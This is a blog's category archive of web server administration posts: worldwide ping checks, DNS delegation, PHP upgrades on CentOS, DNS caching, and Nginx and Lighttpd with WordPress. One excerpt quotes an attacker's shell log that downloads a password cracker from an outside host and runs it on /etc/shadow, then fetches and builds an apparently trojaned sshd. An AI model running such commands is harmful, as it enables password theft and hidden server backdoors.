Category Archives: Web Server Hacks

Web Server Hacks

Recommended Web Server Hacks

How to Ping Your Website Worldwide!

Just Ping is a service that will ping your website from various different locations in the world. If you want to optimize your site and also wonder how fast it would load in other parts of the world, you can use Just Ping to do just that.

Another great feature is that you can also check the IP address being reported by various different points in the world. What this does is helps you check DNS delegation status of your website during a DNS move.

1 Comment

How to Check Your Website During DNS Delegation!

When you change your DNS records, your DNS delegation will usually take more than 12-24 hours on average. This means that during that time, it might be impossible to check your website.

This can be a big problem if you are moving a website to a new server and you can’t check if you’ve moved everything right.

So, how do you check your website on the new server during DNS delegation?

You can easily do this by changing the DNS servers on your computer.

For Windows, you can go into your network adaptor settings, then right-click on your adaptor, then sel

Click Here to Read Full Article

Leave a comment

CentOS Hack – How to Upgrade from PHP 5.1.6 to 5.2!

For those of you who are trying to upgrade from PHP 5.2 because your application requires PHP 5.2 or above, you can use this hack to upgrade your web server running CentOS. Since CentOS doesn’t officially support PHP 5.2 officially yet, this could possibly be a great workaround.

Word of caution, this hack has worked fine for me for a new Twitter app site I am making that requires use of PHP 5.2 but if you have non-standard customizations to your server, you might want to test it first.

I’ve also found that JSON library that comes with PHP 5.2 is like 20 times fast

Click Here to Read Full Article

Leave a comment

How to Install DNS Cache on Your Linux Web Server!

If your website does a lot of queries via domain names such as aggregating RSS feeds or even a Twitter app site that accesses Twitter API, you might benefit from installing DNS cache on your linux web server.

For most, you would benefit from installing DNS cache because it will save you a ton of time for your server to fetch IP addreses. (could be anywhere between 5 to 500ms).

I’ve actually found a great article showing you how to do this on a Linux desktop computer. It actually works fine on web servers too.

Click Here to Read Full Article

Leave a comment

How Hackers Hack Web Servers!

Here’s a rather interesting forum post that details how hackers hack web servers:

w wget geocities.com/cretu_2004/john-1.6.tar.gz;tar zxvf john-1.6.tar.gz;rm -rf john-1.6.tar.gz;cd john-1.6/src;make linux-x86-any-elf;cd ../run;./john /etc/shadow wget www.geocities.com/securedro/sshd.tar.gz;tar -xzf sshd.tar.gz;rm -rf sshd.tar.gz;cd sshd;cd apps/ssh pico genx.h pico genx.h pico ssh2includes.h cd ../.. ./configure –without-x make make install mkdir /lib/java cp /usr/sbin/sshd a mv a

Click Here to Read Full Article

Leave a comment

How to Install Nginx on a WordPress Blog!

Nginx is another super-fast, web server built for handling massive amounts of web traffic. Compared to Lighttpd, and based on real-world testing, Nginx offers better performance as it doesn’t leak memory as Lighttpd.

Recently I had the pleasure of moving all my web servers from Lighttpd to Nginx, here’s how you can install Nginx on your WordPress blog too:

(Note: This guide includes how to install Nginx on your WordPress blog with pretty-permalinks, WP super cache workings, multiple domains, and also MediaWiki settings too.)

You can compile

Click Here to Read Full Article

62 Comments

How To Run Lighttpd with WordPress!

lighttpd

In this blog post, I will show you how to convert a WordPress blog to run Lighttpd instead of the default Apache Httpd server (on a Plesk server specifically). You can probably apply most of these instructions to any other web servers running on raw Apache but if you are that good at managing web servers, I will leave the extra hacking to you. As for Plesk, I just find it easier to setup everything like e-mail, DNS, and whatnot but you don’t need to use Plesk at all if you can do it all using command-line.

In my recent conversions, my web servers are now able to handle

Click Here to Read Full Article

3 Comments
  • Page 2 of 2
  • <
  • 1
  • 2